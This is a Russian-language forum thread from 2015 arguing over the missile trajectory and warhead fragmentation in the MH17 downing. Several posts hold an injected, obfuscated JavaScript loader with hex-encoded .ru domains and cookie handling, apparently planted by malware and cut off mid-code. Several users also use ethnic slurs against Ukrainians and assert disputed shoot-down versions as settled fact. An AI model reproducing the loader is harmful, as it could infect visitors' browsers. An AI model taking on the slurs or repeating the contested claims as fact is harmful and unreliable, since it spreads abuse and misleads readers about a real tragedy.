Тред №998181

Цитата: AlexanderII от 23.09.2015 17:12:56Траектория полета ЗУР здорового человека


Можно двигать точку включения ГСН (вплоть до захвата сразу после пуска) и точку выгорания РДТТ, картина от этого не изменится.

Реальный угол прихода ЗУР не может превышать угол линии визирования от СОУ в упрежденную точку (ошибка точки упреждения не превышает нескольких градусов, к тому точка пересчитывается в БВ по данным радиокоррекции). Так понятней?

Цитата: AlexanderII от 23.09.2015 17:12:56

 

1. До выключения РДТТ скорость ракеты растет и доворот влево тоже должен был увеличиваться, а у Вас запускается правый доворот уже до выключения двигателя, что неверно. Если бы скорость ЗУР только росла, то она летела бы исключительно с левым доворотом до самой встречи с самолетом (раньше Вы это отлично понимали, а тут начали тупить)
2. После выключения движка начинается правый доворот (потому что теперь линия визирования начинает крутиться по часовой стрелке).Так как скорость ЗУР падает, то  доворот постоянно растет, а у Вас он не меняется, что также не верно.
3. Реальный угол прихода ЗУР в цель никак не связан с углом линии визирования от СОУ в упрежденную точку.
4. И, наконец, Вы не учли, что реальная кривая с доворотами длинее расчетного участка (который был бы, если бы не включение ГСН), а потому ракета должна встретится с самолетом правее точки упреждения.

• -0.21 / 10

Цитата: AlexanderII от 23.09.2015 17:12:56Можно двигать точку включения ГСН (вплоть до захвата сразу после пуска) и точку выгорания РДТТ, картина от этого не изменится.

Цитата: AlexanderII от 23.09.2015 17:12:56

 

Картина радикально изменится.
Если ГСН начнет работать сразу после старта, то ракета начнет сразу доворачивать на цель (в итоге сделает петлю),

чтобы избавить ракету от лишних трепыханий ее сначала ведут в расчетную точку упреждения.

• -0.33 / 12

Цитата: SkyLab от 24.09.2015 16:25:02Картина радикально изменится.
Если ГСН начнет работать сразу после старта, то ракета начнет сразу доворачивать на цель (в итоге сделает петлю),


чтобы избавить ракету от лишних трепыханий ее сначала ведут в расчетную точку упреждения.

Цитата: SkyLab от 24.09.2015 16:25:02

 

Задолбал....так вот ты и пытаешься убедить что ЗУР потеряет скорость одномоментно? Наверное запутавшись в "плотных" облаках?

Скорость ЗУР падает линейно и к моменту прихода к боингу будет не менее 700 м/с, а скорость боинга 250 м/с поэтому никакого обратного доворота не будет. А будет приход в ту же точку (+- несколько градусов) что ЗУР летела бы по инерционалке (напомню рассчитанная траектория по инерционалке учитывает набор и потерю скорости ракетой)

Тебе тут целый разработчик ГСН (фугу) снизошел и объяснял...ты так ниче не понял.

Пока не принесешь сюда мат модель с траекториями, скоростями в разные моменты времени неча с тобой беседовать.

• +0.12 / 4

Цитата: AlexanderII от 24.09.2015 16:45:49Скорость ЗУР падает линейно и к моменту прихода к боингу будет не менее 700 м/с, а скорость боинга 250 м/с поэтому никакого обратного доворота не будет. А будет приход в ту же точку (+- несколько градусов) что ЗУР летела бы по инерционалке (напомню рассчитанная траектория по инерционалке учитывает набор и потерю скорости ракетой)

Цитата: AlexanderII от 24.09.2015 16:45:49

 

Обратный доворот и получается из-за отклонения от "инерционалки", которая учитывает набор и потерю скорости
Ракета забывает про "инерционалку" после захвата ГСН цели и думает, что она имеет более крутую скорость (скорость то растет), а значит сможет встретится с самолетом левее расчетной точки, начинает левый доворот. Потом ускорение меняет знак, ракета понимает, что погорячилась, скорости не хватит и вынуждена начать правый доворот.
В итоге получается обычная петля пропорционального сближения

• -0.44 / 11

Цитата: SkyLab от 24.09.2015 17:05:52Обратный доворот и получается из-за отклонения от "инерционалки", которая учитывает набор и потерю скорости
Ракета забывает про "инерционалку" после захвата ГСН цели и думает, что она имеет более крутую скорость (скорость то растет), а значит сможет встретится с самолетом левее расчетной точки, начинает левый доворот. Потом ускорение меняет знак, ракета понимает, что погорячилась, скорости не хватит и вынуждена начать правый доворот.
В итоге получается обычная петля пропорционального сближения

Цитата: SkyLab от 24.09.2015 17:05:52

 

 ..... ты забыл написать, что при этом ракета аккуратно облетела все облака  по трассе ...... 

• +0.03 / 1

Цитата: SkyLab от 24.09.2015 17:05:52Обратный доворот и получается из-за отклонения от "инерционалки", которая учитывает набор и потерю скорости
Ракета забывает про "инерционалку" после захвата ГСН цели и думает, что она имеет более крутую скорость (скорость то растет), а значит сможет встретится с самолетом левее расчетной точки, начинает левый доворот. Потом ускорение меняет знак, ракета понимает, что погорячилась, скорости не хватит и вынуждена начать правый доворот.
В итоге получается обычная петля пропорционального сближения

Цитата: SkyLab от 24.09.2015 17:05:52

 

Уймись дурак!

• +0.26 / 4

Цитата: СПС от 24.09.2015 19:02:01SkyLab, Ваша ошибка в том что Вы пытаетесь подстроить версию "пуск из Снежного" под версию рассказанную "Алмаз-Антеем". На самом деле всё совершенно наоборот. Весь этот рассказ про "скальпель" придуман для того чтобы объяснить почему основные поражения Боинга только в передней части. Такое возможно только при лобовой встрече ракеты и цели. Как только угол прихода ракеты начнёт увеличиваться зона поражения цели соответственно тоже вырастет. Именно в этом вся фишка. А "скальпель" такого и слова то раньше никто и не слышал.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: СПС от 24.09.2015 19:02:01

 

При  другом типе взрыва(например, шарообразном)у Боига были бы посечены ПЭ весь левый бок корпуса,хвост слева и левое крыло.То же самое при конусобразном взрыве или взрыве в виде полусферы.Чего не наблюдается.Значит: или взорвалась не ракета от Бука или скальпель как он представлен А-А.Если бы ракета Бука летела с любого другого направления,то следы от поражения на корпусе Боинга были бы другими при любой мыслимой конфигурации разрыва.Остается или Бук из Зарощенского или ракета "воздух-воздух".С чем и поздравляю.. 

• +0.51 / 6

Цитата: СПС от 24.09.2015 20:34:07Взрыв однозначно конусообразный. Но его направление никто толком не знает. На чём и сыграл "Алмаз-антей". Кроме того многие пытаются по фотографиям определить углы входа ПЭ. Это тоже ошибка. Углы можно определить только в натуре именно поэтому делают выкладку. Так что выводы делать рано.

Цитата: СПС от 24.09.2015 20:34:07

 

Поговаривают, в диске А-А не учтен вектор скорости ракеты + завышена скорость разлёта осколков. Надо бы экспертизу голландцев.

• -0.31 / 9

Цитата: Базик Олег от 24.09.2015 20:37:29Поговаривают, в диске А-А не учтен вектор скорости ракеты + завышена скорость разлёта осколков. Надо бы экспертизу голландцев.

Цитата: Базик Олег от 24.09.2015 20:37:29

 

Поговаривают, что на укрофорумах тема боинга не обсуждается - приказ чёрного хозяина....ну, ну

• +0.31 / 5

Цитата: СПС от 24.09.2015 20:34:07Взрыв однозначно конусообразный. Но его направление никто толком не знает. На чём и сыграл "Алмаз-антей".

Цитата: СПС от 24.09.2015 20:34:07

 

С чего бы это взрыв был конусообразным? Какая такая часть БЧ при подрыве посылает сноп осколков вперед прямо через ГСН?

Цитата: ЦитатаЦитата: Базик Олег от 24.09.2015 08:37:29

Поговаривают, в диске А-А не учтен вектор скорости ракеты + завышена скорость разлёта осколков. Надо бы экспертизу голландцев.

О, хором запели. Видать опять велели пропихивать идею о "Буке" ополчения. А ведь прощался, но таки да не ушел 

• +0.34 / 5

Цитата: СПС от 24.09.2015 20:34:07Взрыв однозначно конусообразный. Но его направление никто толком не знает. На чём и сыграл "Алмаз-антей". Кроме того многие пытаются по фотографиям определить углы входа ПЭ. Это тоже ошибка. Углы можно определить только в натуре именно поэтому делают выкладку. Так что выводы делать рано.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: СПС от 24.09.2015 20:34:07

 

Выводы уже все сделаны Алмаз-Антеем.Единственно возможная траектория ракеты Бука определена.С точностью до градуса.Поэтому и затык у голландского следствия.И  лихорадочные поиски мошенниками в духе то  ли как-то" довернуть" ракету по траектории ,то ли оспорить конфигурацию взрыва типа "скальпель" ракеты от Бука.Вот и тычитесь как котята у пустой миски.И делать хорошую мину при плохой игре Вы можете сколько угодно.Фиолетово.Вопрос решен:или Бук из Зарощенского или ракета "воздух-воздух".Т.е.стреляли укры.Остаётся только оформить прОтокол-и пожалте бриться.То ли в Гааге,то ли в особом трибунале,ну,как вы любите.Если принято решение слить укров,то уже 13.1015 и услышим.А пока ждём-с.Во всеоружии.И уверен,в случае чего будет и сюрпрайз.На дессерт.

• +0.35 / 9

Цитата: АВК от 24.09.2015 21:15:54Выводы уже все сделаны Алмаз-Антеем.Единственно возможная траектория ракеты Бука определена.С точностью до градуса.Поэтому и затык у голландского следствия.И  лихорадочные поиски мошенников в духе то  ли как-то" довернуть" ракету по траектории ,то ли оспорить конфигурацию взрыва типа "скальпель" ракеты от Бука.Вот и тычитесь как котята у пустой миски.И делать хорошую мину при плохой игре Вы можете сколько угодно.Фиолетово.Вопрос решен:или Бук из Зарощенского или ракета "воздух-воздух".Т.е.стреляли укры.Остаётся только оформить прОтокол-и пожалте бриться.То ли в Гааге,то ли в особом трибунале,ну,как вы любите.Если принято решение слить укров,то уже 13.1015 и услышим.А пока ждём-с.Во всеоружии.И уверен,в случае чего будет и сюрпрайз.На дессерт.

Цитата: АВК от 24.09.2015 21:15:54

 

А-А делал выкладку? У них есть обломки или по фоткам проанализировано? Этот отчёт такое же эфемерное фуфло как и бред с Питоном-5 и Су-25, который уже 20 раз опровергли без всякой посторонней помощи специалистов в этой ветке. Более того, их уже поймали на ошибке при исследовании повреждений:


Один и тот же кусок, идентифицированный как два разных, причем оба раза неправильно.





Ждём, ждём.

Цитата: Domin от 24.09.2015 21:42:57Голландские следователи никогда не ставили цель сделать выкладку останков самолета. Если бы у них была такая цель, то они забрали бы ВСЁ, что можно было бы собрать на месте катастрофы. Вывоз останков нужен был для сохранения видимости следствия, и, возможно, скрыть некоторые следы.

Цитата: Domin от 24.09.2015 21:42:57

 

Есть такое мнение, что все обломки им тупо не нужны, тех что есть достаточно для анализа.

Цитата: Domin от 24.09.2015 21:59:04Достаточно для провокации и безосновательных обвинений невиновных людей. Потому что решающая улика вполне может быть среди "неважных" частей.

Цитата: Domin от 24.09.2015 21:59:04

 

"Невиновные" люди не стали бы плодить тьму фейков и лжи, поддерживать в сми с десяток неправдоподобных версий, подделывать улики в брифинге министерства обороны, по сути более половины всего фуфла продвигается на гос. уровне...

• -0.46 / 12

Достаточно для провокации и безосновательных обвинений невиновных людей. Потому что решающая улика вполне может быть среди "неважных" частей.

• +0.16 / 1

Цитата: СПС от 24.09.2015 22:10:57
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: СПС от 24.09.2015 22:10:57

 

Что за херня? Поменяйте браузер что ли! Не умеете постить на форуме - не постите.

• +0.31 / 6

Цитата: СПС от 24.09.2015 22:29:55А для этого надо особые умения? На остальных форумах и блогах такого нет, такая херня только здесь вылазит пусть модеры разберутся что у них не так.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: СПС от 24.09.2015 22:29:55

 

Пока программисты спят, я вам расскажу.
Ваш комп словил вирусов и троянов с сети.
Самописный движок данного сайта не отсекает их, когда они пытаются внедриться в ответ.
Но, тут это не страшно. Как видите, внедрёнка движком экранируется и становится безопасным текстом.

Однако, на вашем компе сидят вирусы с троянами и прочими червями. И шлют что надо с вашего компа, куда надо. Так что, если однажды обнаружите, что три сребреника с вашей карты испарились, или вдруг с сотового деньги потекли, или ещё какая напасть, то вы сами себе злобный буратино. Ведь вирусы, трояны и прочая пакость, они не развлекаться к вам на ком пришли.
А качать пин-коды, пароли, залазить в почту и превращать ваш комп в средство массовой рассылки.  И т.д.

• +0.15 / 4

Цитата: СПС от 24.09.2015 22:10:57Вы уже определитесь как-то вместе с "Алмаз-Антеем" то ли это ЗУР то ли это РВВ. А то как то некрасиво получается. Выходит что специалисты не могут различить следы поражения собственного изделия. Ну это же курам на смех вообще.

Цитата: СПС от 24.09.2015 22:10:57

 

Все нормальные люди давно определились:
1. Пока не доказано обратное, никаких БУКов не было!
2. Боинг сбили хохло-нацисты по приказу пиндосо-фашистов!
3. Борт был расстрелян с самолетов ракетами "воздух-воздух" и авиапушками!

• +0.06 / 2

Цитата: СПС от 24.09.2015 22:10:57Вы уже определитесь как-то вместе с "Алмаз-Антеем" то ли это ЗУР то ли это РВВ. А то как то некрасиво получается. Выходит что специалисты не могут различить следы поражения собственного изделия. Ну это же курам на смех вообще.

Цитата: СПС от 24.09.2015 22:10:57

 

Цель пропагандисткой машины - в версиях запутать, они быстро сменяют друг-друга в СМИ, создается информационный шум в котором зрители должны по идее потонуть. Версию ЗРК например сами же подтверждают и тут же разбавлено бредом про су от другого товарища.

[movie=320,240]http://youtu.be/8bkXxk0Av38[/movie]

• -0.48 / 12

Цитата: Базик Олег от 24.09.2015 22:42:48Цель пропагандисткой машины - в версиях запутать, они быстро сменяют друг-друга в СМИ, создается информационный шум в котором зрители должны по идее потонуть. Версию ЗРК например сами же подтверждают и тут же разбавлено бредом про су от другого товарища.

Цитата: Базик Олег от 24.09.2015 22:42:48

 

Никто никакой версии про ЗРК не подтверждал, кроме либераст-клоунов,
хохло-троллей и "дебилов-Б" из Хохлопадловки!
А сбили Боинг хохло-нацисты с самолетов ракетами "воздух-воздух" и авиапушками!
Покажи тролль хоть одно фото, где есть отверстия от ПЭ БУКа!
Нет таких, а фотографий обломков с отверстиями от ПЭ - море!
Так что: готовьте своих преступников - хохло-нацистов к трибуналу в Ростове!

• +0.03 / 1

Цитата: nekto_mamomot от 24.09.2015 22:57:09А сбили Боинг хохло-нацисты с самолетов ракетами "воздух-воздух" и авиапушками!
Покажи тролль хоть одно фото, где есть отверстия от ПЭ БУКа!
Нет таких, а фотографий обломков с отверстиями от ПЭ - море!

Цитата: nekto_mamomot от 24.09.2015 22:57:09

 

Как правильно заметили, ты уже запарил троллить, читай, просвещайся и хватит флудить.

• -0.31 / 13

Цитата: СПС от 24.09.2015 19:02:01Весь этот рассказ про "скальпель" придуман для того чтобы объяснить почему основные поражения Боинга только в передней части

Цитата: СПС от 24.09.2015 19:02:01

 

Скальпель - это объективное явление, это сектор в котором оказываются ПЭ от самых тяжелых до самых легких, передний фронт которого состоит из самых быстрых и легких ПЭ, а задний фронт из самых тяжелых, медленных. Вот он и летит расширяясь (задние всё более и более отстают от передних) поэтому из-за своей протяженности он и называется скальпель.
А остальные, не скальпельные сектора - это просто точечный фронт ПЭ

• -0.40 / 17

Цитата: SkyLab от 27.09.2015 07:51:10Скальпель - это объективное явление, это сектор в котором оказываются ПЭ от самых тяжелых до самых легких, передний фронт которого состоит из самых быстрых и легких ПЭ, а задний фронт из самых тяжелых, медленных. Вот он и летит расширяясь (задние всё более и более отстают от передних) поэтому из-за своей протяженности он и называется скальпель.

Цитата: SkyLab от 27.09.2015 07:51:10

 

На каком расстоянии произошел подрыв,я запамятовал, метров 5? Подскажи, на сколько отстанут тяжелые ПЭ от легких, а то у меня "методичка" что то глючит- на полчаса опоздание получается...

• +0.13 / 5

Цитата: Анатолий Б от 27.09.2015 09:06:34На каком расстоянии произошел подрыв,я запамятовал, метров 5? Подскажи, на сколько отстанут тяжелые ПЭ от легких, а то у меня "методичка" что то глючит- на полчаса опоздание получается...

Цитата: Анатолий Б от 27.09.2015 09:06:34

 

Не совсем понятен Ваш интерес к протяженности скальпеля.
Но если Вам интересно, то можно посчитать его длину в момент прилета переднего фронта: (5/2480)*(2480-1430)~ 2.1 м

• -0.32 / 14

Цитата: SkyLab от 27.09.2015 09:18:39Не совсем понятен Ваш интерес к протяженности скальпеля.
Но если Вам интересно, то можно посчитать его длину в момент прилета переднего фронта: (5/2480)*(2480-1430)~ 2.1 м

Цитата: SkyLab от 27.09.2015 09:18:39

 

Какой, бл**ть, скальпель?! Ты упоролся, дурачок?!
Ни одного ПЭ головной части ЗУР "Бука" не найдено. Он в твоих укропских снах только может быть.

• +0.08 / 3